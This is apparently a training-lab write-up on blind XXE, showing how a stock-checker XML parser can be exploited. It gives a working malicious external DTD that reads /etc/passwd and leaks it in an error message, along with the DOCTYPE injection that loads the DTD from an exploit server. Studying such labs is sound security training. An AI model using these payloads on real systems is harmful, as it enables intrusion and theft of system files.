Exploiting blind XXE to retrieve data via error messages

Description

This lab has a “Check stock” feature that parses XML input but does not display the result.

Reproduction and proof of concept

  1. Click Go to exploit server and save the following malicious DTD file on thr server:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'file:///invalid/%file;'>">
%eval;
%exfil;

When imported, this page will read the contents of /etc/passwd into the file entity, and then try to use that entity in a file path.

  1. Click “View exploit” and take a note of the URL for your malicious DTD.

  2. Exploit the stock checker feature by adding a parameter entity referring to the malicious DTD. Visit a product page, click Check stock, and intercept the resulting POST request in Burp Suite.

  3. Send it to Repeater, and insert the following external entity definition in between the XML declaration and the stockCheck element:

<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "YOUR-DTD-URL"> %xxe;]>

You should see an error message containing the contents of the /etc/passwd file.

XXE

Exploitability

An attacker needs to use an external DTD to trigger an error message that displays the contents of the /etc/passwd file. The lab contains a link to an exploit server on a different domain where you can host your malicious DTD.